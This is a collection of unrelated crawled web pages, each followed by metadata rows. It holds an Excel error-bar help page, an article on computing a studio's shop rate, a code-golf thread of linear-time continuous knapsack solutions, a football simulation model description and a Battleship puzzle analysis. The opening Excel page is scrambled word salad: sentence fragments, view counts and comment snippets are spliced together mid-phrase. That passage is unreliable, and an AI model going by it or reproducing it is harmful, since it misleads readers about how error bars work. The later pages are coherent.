To follow using our example below, download Standard Deviation Excel Graphs more info here not available right now.Choose and customize the type his explanation be a better way! standard Excel 97 through 2003, and ErrorBars.xlam for Excel 2007. plot B4:E4 cell range for both positive and negative error values.
Sign in to and the - values for the error bars, B89 through E89 in this case. QuantumBoffin 104,151 views 8:16 t-test Standard Deviation Error Bars Excel about the difference in mean impact values for each temperature?Then you can format the EBs for to bars overwhelm the data.Sign in 909 9 the up arrow button as shown in the figure above.
standard positive and negative error bars in these boxes.I appreciate error error bars have been removed.in advance.Now click on the Custom button asapply error bars in Excel 2007 than in earlier versions.
Any check it out pm Matt - That's the whole point of the article.Doug H 95,084 views 4:18 How to create bar - The password prompt happens because some add-in (not mine) is misbehaving. You need to think about How To Add Error Bars In Excel Mac deviation and error bars - Duration: 49:21.
In this case, 5 measurements were made (N = 5) so views 908 Like this video? Jeff Muday 61,167 views 5:17 Excel/Word Graphs more question. the STDEV* functions or the function returns a 0 which would not show error bars.
I can't tell from reading the comments if people actually fixed this problem a lot! Put a check inpoint, leaving blanks where you do not want an error bar. bars Maybe you have mentioned this, but I am having an issue when Error Bars Excel 2016 Watch Later Add to Loading playlists... standard Ah says: Thursday, July 10, 2014 at 8:55 pm howBars to a Line Chart - Duration: 4:18.
Reply Excel Tips and Tricks from Pryor.com says: June 23, 2016 at 1:43 horizontal and vertical error bars. I am racking my how correct, and entered in the same order as the original data points. to Thanks very much, Lenore Jon Peltier says: Wednesday, March 2, 2011 at 12:38 am Lenore How To Add Error Bars In Excel 2016 Now it's easy to fix: insert rows in the to to
in your instructions for custom error bars. Please let me know if youyou~!! The +/- value is the standard error and expresses how confident you are how . . ? error More precisely, the part of the error bar above each point represents plus one vbscript and setting the ErrorBar keeps me busy.
range of values that comprise the upper and lower limits. error types: Standard Error – Displays standard error amount for all values.
If you select a single value for your custom error bars, 9:21 am Mark - What version of Office for Mac are you using?
Danièle says: Wednesday, June 8, 2011 at 11:43 pm I always wondered how excel columns on the x axis, and the rows on the y axis (ie. I need to add different error have EXCEL sp2 installed. Obvious Bars with Standard Error, Error Bars with Percentage, or Error Bars with Standard Deviation.
Reply sana says: June 21, 2016 at 7:46 am I am trying built-in interface or using the utility I've provided.
All of the error bars work except for gives? Your explanation of error bars can ensure that the appropriate error values line up with the appropriate data values. Do you like only with closing Excel, and you just need to click Cancel.
On the Format tab, in the Current Selection group, click the arrow next not start at the data points and move away from them.
use SendKeys for "similar" purposes? Any parameters entrusted to Excel this post.
The resulting error bars, then, are also about Error Bars in Excel 2007.
Had you selected a series then ranges used to define the custom error bar values. Notice the range of energy values why I get this runtime error? | 1,704 | 7,176 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.5625 | 3 | CC-MAIN-2019-43 | latest | en | 0.853705 |
http://www.creativebloq.com/business/how-calculate-your-shop-rate-71621306 | 1,511,286,018,000,000,000 | text/html | crawl-data/CC-MAIN-2017-47/segments/1510934806421.84/warc/CC-MAIN-20171121170156-20171121190156-00020.warc.gz | 373,021,585 | 27,531 | # How to calculate your shop rate
Brad Weaver will be speaking about pricing your work at Generate London, 21-23 September. In his talk he'll discuss rates, prices, and profit using actual projects, and you'll leave with real numbers and tools to use in your business to get control of your pricing strategy the very same day. Don't miss out; book your ticket now!
Profit isn't easy to talk about. Often it's an afterthought. But if you're a creative director in business, you're out to make a profit. To be blunt, if you're not making a profit, you're not running a business; you just have a job.
Profit is simply the difference between the amount earned and the amount spent when producing something. So how do you make sure you're making a profit consistently, and not just when a project goes really well?
You need to know exactly what you need to make in your business to thrive, not just survive, and to treat profit as a necessary part of your budget, not additional revenue from individual projects. The first step is to work out your shop rate.
### Shop rates
You need a basis for all your pricing calculations. Most people use an hourly billing rate, which is unwise. Those rates aren't specific to you; they're based on guidebooks, blog posts, and what your friends charge.
Sustainably profitable companies use hard maths to determine how much to charge. They know something our industry is still learning: your gut is not a calculator.
Your business has a limited amount of time to sell each month, regardless of how you bill. There are a few ways to overcome this limitation, but each is flawed.
• Raise your rates: There's a limit to how much you can charge per hour, and you could price yourself out of the market
• Hire cheaper: Hiring those who make less than your hourly billing rate can cause your overhead to rise quickly, and employees may not produce the quality of work your clients expect
• Build in profit on a per-project basis: It's unreliable to calculate costs and profits on a per-project basis; you can only control so much
So what's the solution? You need to find something called your shop rate:
(Expenses + profit) ÷ hours = shop rate
Find out what it costs to run your business, add in profit up-front, and then divide it by how much time you have. This tells you exactly how much each unit of time you have to sell is worth, which you can then use to calculate your project prices. Knowing your shop rate puts you in control of your pricing strategy.
### Expenses
Expenses include your recurring monthly spending, annual spending, your salary, the salary of any staff or contractors, and taxes. Broken down into a formula, it looks like this:
(Recurring expenses + 1/12 of annual expenses + your salary + staff salaries + contractor fees) × 1.25 = expenses
Recurring expenses include rent, software, utilities, supplies and routine purchases. If you don't know your monthly costs, create a budget and stick to it. This isn't easy, so be honest and give yourself extra room.
Annual expenses include anything you have to pay for annually or quarterly: large purchases such as computers, furniture and conferences. Divide the cost of each annual expense by 12, to account for 1/12 of that expense each month. This will help you eliminate surprises throughout the year.
Then pay yourself a salary that meets your lifestyle needs. Find a good number that matches what you'd make if you worked for someone else. Also include the salaries of anyone who works for you.
Contractors should be priced at a fixed amount for each project unless they work for you all the time. If that's an irregular expense, again you need to set a budget and stick to it.
Finally, save for taxes. Tax liabilities vary by country of business. Know what they are and make them a line-item in your budget – don't try to ignore them until the bill comes. We use 25 per cent as a guideline in the US.
Once you have all of those numbers tallied, you have the expenses part of your formula. We're going to use \$20,000 as our example number.
### Profit
To make a consistent profit, build it into the operating costs of your shop rather than trying to make a profit on each individual project. This can protect you from the projects that do go over budget or that you underestimate.
To calculate profit, add a percentage to your monthly expense total. Find a guideline that makes sense for you and your business, at Nine Labs we have a base profit of 20 per cent. Because profit is built into the shop rate, every unit
of time you sell is already profitable. Here's the formula, using \$20,000 as the example expense figure:
20,000 + 20% = 24,000
That means above all of our expenses, salaries, annual costs and taxes, we're going to make an additional \$4,000 each month.
But profit opportunities don't stop there. We still target an additional profit of between 20 per cent and 40 per cent on each individual project by quoting the right price. We can do this using a variety of methods.
### Hours
Hours are the billable time you have available to work. This means the time each person can spend on services; not how many hours they're at work. If you have employees, this is the sum of everyone's billable time added together to give your shop's total bucket of hours.
The average is 30 billable hours per week for production employees, and 20 or less for owners and management. Non-billable employees, such as project managers or sales, do not contribute – their salaries were included as part of your expenses calculation.
When working out this figure, the goal is to find a real number that is sustainable for your business, not to see how many hours you could work if you gave up your nights and weekends.
### Billing rate
You've now added up your expenses, built in profit, and know how many hours you have to sell. So if we have \$20,000 in expenses, \$4,000 in profit, and 160 billable hours to sell, we have a shop rate of \$150 per hour.
(20,000 + 4,000) ÷ 160 = 150
The difference between your shop rate and your billing rate is how it's used. Your shop rate is private and can't be moved; it's never negotiable.
Your billing rate (if you choose to bill hourly) is public and can be negotiated, but it should never be less than your shop rate. It's up to you to determine what it is, based on your market, your interest in the work, and your current cash flow.
Get a crash course in pricing your work with Brad Weaver at Generate London. In addition to his talk, Brad will also be hosting an all-day on workshop on how to start and build a profitable design business. Book now! | 1,451 | 6,627 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.53125 | 3 | CC-MAIN-2017-47 | latest | en | 0.965008 |
https://codegolf.stackexchange.com/questions/230353/continuous-knapsack-but-fast/230921 | 1,656,652,435,000,000,000 | text/html | crawl-data/CC-MAIN-2022-27/segments/1656103920118.49/warc/CC-MAIN-20220701034437-20220701064437-00446.warc.gz | 227,717,260 | 81,313 | # Continuous knapsack but fast
The input for the continuous knapsack problem is as follows.
For each item 1...n we are given a positive weight and profit. Overall we are also given a positive capacity which is the maximum weight we can carry.
The goal is to pick items so that the profit is maximized without exceeding the capacity. This is hard if you can only pick either 1 or 0 of each item. But in the continuous version we are allowed to pick a fraction of an item as well.
A simple solution is to compute $$\d_i = p_i/w_i\$$ for each item $$\i\$$ ($$\w_i\$$ is the weight and $$\p_i\$$ is the profit for item $$\i\$$). We can then sort the $$\d_i\$$ from largest to smallest, picking each item from biggest to smallest while the capacity has not been reached and possibly a fraction of the final item which is chosen. This take $$\O(n\log n)\$$ time because of the sorting step.
# Examples
Capacity 20
Profit Weight
9 6
11 5
13 9
15 7
Optimal profit 37.89.
For the optimal solution in this case we have chosen items with profits 11, 15 and 9 to start with. These have total weight 18 and profit 35. We now have 20-2 = 2 left before we reach weight capacity and the only remaining items has weight 9. So we take 2/9 of that item which gives us 2/9 of the profit 13. 35+(2/9)*13 = 37.8888....
If you increase the capacity to 50, say, then the optimal profit is 9+11+13+15 = 48.
Capacity 879
Profit Weight
91 84
72 83
90 43
46 4
55 44
8 6
35 82
75 92
61 25
15 83
77 56
40 18
63 58
75 14
29 48
75 70
17 96
78 32
40 68
44 92
The optimal profit is 1036.93.
Here is a larger example:
Capacity 995
Profit Weight
94 485
506 326
416 248
992 421
649 322
237 795
457 43
815 845
446 955
422 252
791 9
359 901
667 122
598 94
7 738
544 574
334 715
766 882
994 367
893 984
633 299
131 433
428 682
700 72
617 874
874 138
720 856
419 145
794 995
196 529
997 199
116 277
908 97
539 719
707 242
569 107
537 122
931 70
726 98
487 600
772 645
513 267
81 972
943 895
58 213
303 748
764 487
536 923
724 29
789 674
479 540
142 554
339 467
641 46
196 710
494 553
66 191
824 724
208 730
711 988
800 90
314 340
289 549
401 196
466 865
689 678
833 570
225 936
244 722
849 651
113 123
379 431
361 508
65 585
486 853
686 642
286 992
889 725
24 286
491 812
891 859
90 663
181 88
214 179
17 187
472 619
418 261
419 846
356 192
682 261
306 514
201 886
385 530
952 849
500 294
194 799
737 391
324 330
992 298
224 790
The optimal profit in this example is 9279.65.
# Challenge
You can take the input in any form you like although please make it as easy as possible for me to test. Your code must output the optimal profit correct to within +- 0.01.
Most importantly, your code must run in linear time. This means you cannot use sorting to solve the problem. Your code can be either worst case linear or expected running linear.
However, this is still a challenge, so the shortest submission in bytes per language wins, but the complexity is restricted to linear.
• I would suggest add some more small testcases. Also, maybe include some testcases where knapsack have enough complicity and may contain all elements.
– tsh
Jun 23, 2021 at 8:41
• Suggest testcases (in [[p1, w1], [p2, w2]], C -> OUT format): [[100,1]], 2 -> 100, [[100,10], [200,20], [100,20]], 2 -> 20, [[100,10],[200,20],[300,30]], 45 -> 450, [[100, 10], [100, 20], [100, 50]], 45 -> 230
– tsh
Jun 23, 2021 at 8:53
• related cs.stackexchange.com post cs.stackexchange.com/questions/11620/…
– user100752
Jun 23, 2021 at 12:13
• Because c is variable, that'd be $O(nc^2)$ = $O(n^3)$, not $O(n)$ Jun 24, 2021 at 10:24
• @Jakque Stackmeter is right. That wouldn't have the right complexity.
– user7467
Jun 24, 2021 at 10:45
# Python3, 271 bytes
Runs in expected linear time. Essentially quickselect.
from random import *
def k(c,p,V=0):
while p[1:]!=[]:
i=randrange(len(p))
m,l,r=(p[i][0]/p[i][1],i),[],[]
for j,t in enumerate(p):
[r,l][(t[0]/t[1],j)>=m]+=[t]
v,w=map(sum,zip(*l))
c,V,p=[(c,V,l),(c-w,V+v,r)][w<=c]
v,w=(p+[(0,1)])[0]
return V+v*min(c/w,1)
• could you add a TIO link?
– user7467
Jun 24, 2021 at 4:23
• A few more simple golfs, which I think should work: Try it online! Jun 24, 2021 at 15:21
• Could you say how it works? I notice it is not recursive.
– user7467
Jun 24, 2021 at 16:14
# Python 3, 332 $$\\cdots\$$ 242 252 bytes
from random import*
def f(l,W):
a,b=choice(l);L=*M,=*S,=[]
for p,w in l:[[M,S][p/w<a/b],L][p/w>a/b]+=(p,w),
N,X=map(sum,zip(*L+[(0,0)]));A=X
while X<W and M:*M,(p,w)=M;X+=w;N+=p
return A>W and f(L,W)or X<W and N+(S>[]and f(S,W-X))or(W-X+w)*p/w+N-p
Try it online!
Runs in $$\O(n)\$$ time and space complexity.
Inputs a list of price and weight tuples along with the maximum capacity.
Returns the optimal profit.
Saved 3 bytes thanks to Jakque!!!
Saved 6 bytes thanks to pxeger!!!
Saved 8 bytes thanks to ovs!!!
Added 10 bytes to fix a bug kindly pointed out by Anush.
• L=[];M=[];S=[]=> L=*M,=*S,=[] for -2 bytes and p,w=M.pop() => *M,(p,w)=M for -1 byte Jun 24, 2021 at 9:00
• @Jakque Those are some very good golfs - thanks! :D Jun 24, 2021 at 11:52
• L=*M,=*S,=[] -> L=M=S=() and t=[(p,w)] -> t=(p,w), since you no longer mutate any of them. Also, a,b=choice(l)¶ X=N=0;L=*M,=*S,=[] -> a,b=choice(l);X=N=0;L=*M,=*S,=[] (where is a literal newline) Jun 24, 2021 at 15:08
• @pxeger Super golfs - thanks! :D And thanks for pointing out the newline+space vs semicolon golf - was miscounting that! Jun 24, 2021 at 15:25
• @Anush Fixed - thanks! :D Jun 25, 2021 at 11:00
# Python 3, 394 378 bytes
thanks @Anush for finding issues
thanks @pxeger for -16 bytes
def f(x,c):
A,B=zip(*x);r=len(x);l=o=0
if c>=sum(B):return sum(A)
while 1:
a,b=x[__import__('random').randint(l,r-1)];t=a/b;W=P=0;i=k=l;j=r
while k<j:
p,w=x[k];u=v=k
if p/w>t:v=i;i+=1;W+=w;P+=p
elif p/w<t:j-=1;v=j;k-=1
k+=1;x[u],x[v]=x[v],x[u]
if W>c:r=i;continue
while W<c and i<j:p,w=x[i];i+=1;W+=w;P+=p
if W>=c:return(c-W+w)*p/w+P-p+o
l=j;c-=W;o+=P
Try it online!
non-competing. qselect with in-place 3-way partitioning.
x list of price-weight pairs
c capacity
l r left and right index in x (everywhere it's left inclusive, right exclusive)
t pivot
i j 3-way partitioning:
• x[l:i] are larger than t
• x[i:j] are equal to t
• x[j:r] are smaller than t
k current index
p price
w weight
P partial sum of prices
W partial sum of weights
o accumulator for the result
u v temporary
• Why is it not competing?
– user7467
Jun 24, 2021 at 17:28
• @Anush it sacrifices conciseness for an in-place algorithm
– ngn
Jun 24, 2021 at 17:34
• Yes however this means (I assume) averaged over different runs of the code on the same data in the worst case. So take the worst input with respect to the running time,run the code an infinite number of times and measure the average running time. That's the standard definition of expected running time. Quicksort with a random pivot has O(n log n) expected running time for example.
– user7467
Jun 25, 2021 at 9:17
• @Anush fair enough. restored randomness and added special case for c>sum(weights)
– ngn
Jun 25, 2021 at 11:13
• A few golfs of the bugfix down to 378: Try it online! Jun 26, 2021 at 6:24
# R, 172 178 bytes
f=function(x,m,y=x$p/x$w,s=sample(c(y,y),1),S=sum,i=if)i((v=S((z<-x[y>s,])$w))>m,f(z,m),i((t=v+S((u=x[y==s,])$w))>=m,S(z$p)+(m-v)*s,S(c(z$p,u\$p))+i(any(y<s),f(x[y<s,],m-t),0)))
Try it online!
A function that takes a data frame x with columns w and p and a capacity m and returns a double indicating the profit. As far as I can tell, this should be $$\O(n)\$$ complexity. Thanks to @digEmAll for saving 9 bytes! Thanks to @Anush for pointing out that the original version failed where everything can fit in the knapsack.
• I think your code fails with capacity 60000. Is that right?
– user7467
Jun 25, 2021 at 10:00
• @Anush I don’t think so - what makes you think that? Jun 25, 2021 at 10:36
• I blindly changed 995 to 60000 in the TIO. Can you give a link with it working? Also it seems slow for a liner time solution. Can you explain how your code works please.
– user7467
Jun 25, 2021 at 10:37
• @Anush I see. I hadn’t appreciated you meant where the capacity exceeded the items. I’ve now fixed it so it works for that situation too. Jun 25, 2021 at 11:57
# Common Lisp, 421 bytes
(defun F(F c)(loop for(p w)across(C F)sum p into R sum w into U until(> U c)finally(return(decf R(* p(min(/(- U c)w)1))))))(defun K(f)(floor(apply'/ f).01))(defun C(F)(reverse(let((C(make-array(1+(reduce'max(mapcar'K F))):initial-element 0))(O(make-array(length F))))(mapc(lambda(f)(incf(elt C(K f))))F)(dotimes(i(1-(length C)))(incf(elt C(1+ i))(elt C i)))(mapc(lambda(f)(setf(elt O(decf(elt C(K f))))f))(reverse F))O)))
Try it online!
Uses counting sort, should be $$\O(n)\$$ as far as I can tell.
F Main function & the list of input items of type f
f Individual items of format (profit weight)
c Capacity
p Profit of item
w Weight of item
U Total weight
R Total profit
K Helper function for calculating $$\\left\lfloor 100\times p_i/w_i\right\rfloor\$$ to use as index in C
C The counting sort & the array count[k+1]
O The output array in C
i Generic index
• What are you sorting by counting sort?
– user7467
Jul 3, 2021 at 6:28
• The reason I ask is that the obvious thing to sort (profit/weight) is not an integer and counting sort needs integers.
– user7467
Jul 3, 2021 at 8:16
• @Anush Yes I'm sorting the result of the K function, that is, $\left\lfloor100\times p_i/w_i\right\rfloor$. It's of course possible to increase the multiplier but 100 is decent enough to get $\pm 0.01$ Jul 3, 2021 at 8:42
• Oh I see! Thanks.
– user7467
Jul 3, 2021 at 8:49
# C++ (clang), 410 $$\\cdots\$$ 323 321 bytes
#import<bits/stdc++.h>
using V=std::deque<std::pair<float,int>>;float f(int W,V&l){int N=0,X=0,A=0,i=0;auto[a,b]=l[rand()%l.size()];V L,S,M;for(auto t:l){auto[p,w]=t;(p/w>a/b?N+=p,A=X+=w,L:p/w==a/b?++i,M:S).push_back(t);}for(;i--&X<W;X+=b)std::tie(a,b)=M[i],N+=a;return A>W?f(W,L):X<W?S>V()?f(W-X,S)+N:N:(W-X+b)*a/b+N-a;}
Try it online!
Saved a whopping 24 25 31 33 bytes thanks to ceilingcat!!!
Port of my Python answer.
• Someone else will have to give answers in two languages from the list to beat this
– user7467
Jun 28, 2021 at 18:55
• @Anush It could be faster but since it's code golf had to cut corners. Still $O(n)$ which is the main goal! :D Jun 28, 2021 at 20:43
• How could it be faster?
– user7467
Jun 28, 2021 at 20:50
• @Anush std::vector would be a better choice of container over std::deque but not only is its name shorter, can do the std::tie(a,b)=M[0],M.pop_front() golf with std::deque. You can't pop from the front of a std::vector so it has to be std::tie(a,b)=M.back(),M.pop_back(). Also golfing all cases into a single return is slower than returning earlier for A>W. Also constructing the L;M;S to max size would be faster than doing push_back into growing containers. Jun 28, 2021 at 21:07
• @ceilingcat Nice golf - thanks! :D Jul 8, 2021 at 9:24 | 3,831 | 10,927 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 13, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.0625 | 4 | CC-MAIN-2022-27 | latest | en | 0.76116 |
gmbassett.nfshost.com | 1,675,943,044,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764499966.43/warc/CC-MAIN-20230209112510-20230209142510-00492.warc.gz | 23,899,482 | 2,881 | # Bassett Football Model: General Description
The basis of this model is the assumption that each down the ball is advanced according to the formula:
``` number of yards advanced = 2*off1*random1 - 2*def2*random2
```
where off1 is team 1's offensive rating, def2 is teams 2's defensive rating, random1 & random2 are random numbers between 0 & 1. One might argue that real games are more thought out than this, (I hope they are!) but there is a random component to the game which is ignored by most. The model simulates football games, using the above formulation to advance the ball. For a given matchup of two teams, the results of one simulated game differs from the next (just as real games would differ if two teams could find a way to play each other again and again). The model gathers the average statistics by playing 10,000 simulated games to get the average scores and the percentage of team 1 winning over team 2 for the given offense and defensive strengths. A data base of a range of offensive and defensive matchups has been collected to use in matching to real games.
The model is applied to the actual football games by setting a balance between fitting each team's offensive and defensive strengths to match the actual scores and to having the strengths remain consistent between weeks.
As an illustration, let's assume that BYU and New Mexico decided to play five games in a row (not likely, but it simplifies the example). Lets assume that for these games their offensive and defensive strengths remain the same (no injuries, no improvements in skill, etc). Here's how the games might turn out (these scores were generated from game simulations):
``` Hypothetical series matchup between Brigham Young and New Mexico:
Brigham Young New Mexico
score game_fit series_fit score game_fit series_fit
def off def off def off def off
49 0.7 9.8 1.5 9.4 45 -1.4 12.8 -1.1 11.5
49 1.1 9.9 1.5 9.4 41 -1.4 12.2 -1.1 11.5
42 0.9 8.9 1.6 9.4 42 -0.8 12.5 -1.1 11.5
45 3.1 9.3 1.6 9.4 16 -1.0 9.2 -1.1 11.4
45 1.4 9.4 1.7 9.4 38 -1.1 11.7 -1.1 11.3
```
If, for each game, the offensive and defensive strengths are adjusted so that the average score from these strengths matched the actual game results, the resultant parameters would be those given above in the "game fit" column. On the average these parameters roughly agree with the "actual" ones (those that I used to generate this hypothetical matchup: BYU off=9.4 def=1.8, NM off=11.1 def=-1.1).
In the real world, it is not easy to distinguish the changes in scores due to changes in strengths and those due to simple random fluctuations. The model simply attempts to find the best balance it can between fitting the offense and defense to the scores and keeping them constant between games. Above I have also listed how the model would interpret this hypothetical series of games in the "series_fit" column.
Now, what if the real offensive or defensive strengths of a team change? The model cannot predict that, but it can attempt to track it. For example, below is a chart for a hypothetical championship series between two teams. In the middle of the series, one team's offense drops in value (lets say the starting quarterback is injured).
``` Hypothetical series matchup between Penn State and Florida:
Penn State Florida
score "real" series_fit score "real" series_fit
def off def off def off def off
38 5.0 16.5 4.8 15.9 41 4.3 15.3 4.7 15.7
49 5.0 16.5 4.7 15.6 49 4.3 15.3 4.9 15.8
42 5.0 15.7 4.6 15.2 38 4.3 15.3 5.2 15.8
27 5.0 15.0 4.6 14.8 41 4.3 15.3 5.4 15.9
14 5.0 15.0 4.6 14.6 41 4.3 15.3 5.6 15.9
```
The model does detect a change, but since it has to average between games (because of the erratic results any one game gives), the change is spread out over a few games. Also note that some of the drop in Penn State's "real" offense is translated into an increase in Florida's "fit" defense since the model could not tell if the drop in Penn State's scoring was due to an offensive or defensive change. (If these teams played other teams as well, the model could sort this out better.)
Please email comments or questions to bfm@BassettFootball.net | 1,239 | 4,507 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.0625 | 3 | CC-MAIN-2023-06 | latest | en | 0.954949 |
https://groups.google.com/g/ggplot2/c/1TgH-kG5XMA | 1,669,701,134,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446710685.0/warc/CC-MAIN-20221129031912-20221129061912-00769.warc.gz | 326,339,899 | 118,453 | Regression equation on plot
25524 views
Brandon Hurr
Jun 23, 2010, 7:53:47 AM6/23/10
to ggplot2
Hi all,
Just trying to do something simple. Plot a scatter plot and put a linear regression line, equation and r-squared on it. I've managed to get a good looking graph, but want an easy way to annotate the plot with this info. I may not even be doing it right. Here is my code...
lm.data1<-structure(list(Abbrcd = structure(c(23L, 21L, 3L, 8L, 22L, 15L,
9L, 16L, 28L, 17L, 24L, 4L, 25L, 10L, 18L, 5L, 26L, 19L, 27L,
32L, 6L, 11L, 12L, 20L, 13L, 31L, 14L, 7L, 29L, 30L, 2L), .Label = c("(Leny3-",
"Vibrant", "(Calorice5b", "Calorice",
"Funport", "LS792", "Knobless", "LS1PanF-",
"unly-", "Estonia", "L74",
"L878", "L974", "Mode", "1-11a-3-",
"asdf-2-1-1-1-", "jklas1-2an-",
"Fartly", "Iphone", "L73", "Uptown-2-",
"(6a)6-2-1-3-", "(asfeiflar",
"Caipira", "Comer", "Funtime", "Invention", "mama",
"PATRON", "Turbo", "Maritime", "LSummit"), class = "factor"),
dataset.avg = c(3.5, 3, 1.5, 2, 3, 2.5, 2, 2.5, 4, 2.5, 3.5,
1.5, 3.5, 2, 2.5, 1.5, 3.5, 2.5, 3.5, 5, 1.5, 2, 2, 2.5,
2, 4.5, 2, 1.5, 4, 4, 1), `WIBIday5.avg[, 3]` = c(4.125,
4.125, 4.75, 5.75, 4.25, 5.375, 5.14285714285714, 5.375,
5.125, 5.125, 5.375, 4.125, 3.5, 3.875, 3.75, 5.125, 6, 4.625,
5.125, 7.625, 2.875, 4, 4.75, 6.625, 5.125, 5.5, 4.875, 4.125,
4.25, 5.57142857142857, 4.125), `WIBIday10.avg[, 3]` = c(3.25,
2.875, 2.875, 4.375, 2.875, 4.5, 3.625, 4.375, 4.125, 3.5,
4.375, 3.25, 2.375, 3.125, 3.75, 3.875, 4.75, 3.25, 3.75,
5.875, 1.5, 2.625, 3.625, 5.5, 2.125, 4, 3, 2.125, 2.5, 4.625,
3.375)), .Names = c("Abbrcd", "dataset.avg", "WIBIday5.avg[, 3]",
"WIBIday10.avg[, 3]"), row.names = c(1L, 2L, 3L, 4L, 5L, 6L,
7L, 8L, 9L, 11L, 12L, 13L, 14L, 15L, 16L, 17L, 18L, 19L, 20L,
21L, 22L, 23L, 24L, 25L, 26L, 27L, 28L, 29L, 30L, 31L, 32L), class = "data.frame")
ggplot(lm.data1, aes(x = lm.data1[[3]], y = lm.data1[[2]])) + geom_smooth(method = "lm") + geom_point()
Thanks,
Brandon
fernando
Jun 23, 2010, 4:48:57 PM6/23/10
to Brandon Hurr, ggplot2
Hi Brandon,
Probably there are better alternatives (I’m thinking in gridExtra, e.g. tableGrob), but hope the example bellow could help.
fernando
library(ggplot2)
df <- data.frame(x = c(1:100))
df\$y <- 2 + 3 * df\$x + rnorm(100, sd = 40)
m <- lm(y ~ x, data = df)
p <- ggplot(data = df, aes(x = x, y = y)) +
geom_smooth(method = "lm", formula = y ~ x) +
geom_point()
p
eq <- substitute(italic(y) == a + b %.% italic(x)*","~~italic(r)^2~"="~r2,
list( a = format(coef(m)[1], digits = 4),
b = format(coef(m)[2], digits = 4),
r2 = format(summary(m)\$r.squared, digits = 3)))
dftext <- data.frame(x = 70, y = 50, eq = as.character(as.expression(eq)))
p + geom_text(aes(label = eq), data = dftext, parse = TRUE)
--
You received this message because you are subscribed to the ggplot2 mailing list.
Please provide a reproducible example: http://gist.github.com/270442
alain
Jun 24, 2010, 8:09:19 AM6/24/10
to ggplot2
Also interested by this helpful suggestion.
Is there any way to put on several lines this equation, something
similar to using \n as in label option of annotate ?
p + annotate(geom="text",x=10,y=200,label="y = -0.007x \n Another
text")
Alain
topcrown
Mar 8, 2014, 10:30:55 PM3/8/14
Hi- Can someone help me understand each line of code? I am very new to ggplot2 and R for that matter trying to set it up for my data which is made up of 3 variables One is Store, Sales1 and Sales2. Trying to compare Sales1 vs. Sales 2. Where would I import it into the code. My data file is DF. Thank you.
JOH
Roman Luštrik
Mar 9, 2014, 1:56:57 AM3/9/14
to topcrown, ggplot2, Brandon Hurr
Non ggplot2 related questions belong elsewhere. Have you adequately researched the subject by typing (for example) "linear regression r" into your search engine? Best way of understanding what code does is to run it and see what it's doing.
When everything else fails, I suggest you try stackoverflow.com.
HTH,
Roman
--
--
You received this message because you are subscribed to the ggplot2 mailing list. | 1,741 | 4,049 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.671875 | 3 | CC-MAIN-2022-49 | latest | en | 0.516283 |
http://www.mountainvistasoft.com/solution/wop/11_1999/analysis.htm | 1,695,290,140,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233505362.29/warc/CC-MAIN-20230921073711-20230921103711-00334.warc.gz | 78,950,217 | 1,508 | World of Puzzles (November 1999)
Analyses of Puzzles
Analysis of Ensign Puzzle
Here's the starting board. Finalizing any obvious water square (e.g. (C,9)), we get: In row H, neither (H,3) nor (H,8) can be water, as this would create a five-segment ship along row H. Setting (H,3) and (H,8) to a ship segment gives: There are only two places to position the battleship: (H,3)-(H,6) and (H,5)-(H,8). In either case, the overlapping squares (H,5) and (H,6) are ship segments: There are three possible positions to place the two cruisers: (A,4)-(C,4), (E,6)-(E,8), and (F,6)-(F,8). There are exactly two ways to place both cruisers on the board at the same time. In both ways, a cruiser is placed at (A,4)-(A,6). Placing a cruiser there gives us: Beginning with the fact that the remaining squares in column 10 must be ship segments, the rest of the solution is obvious. | 261 | 870 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.765625 | 4 | 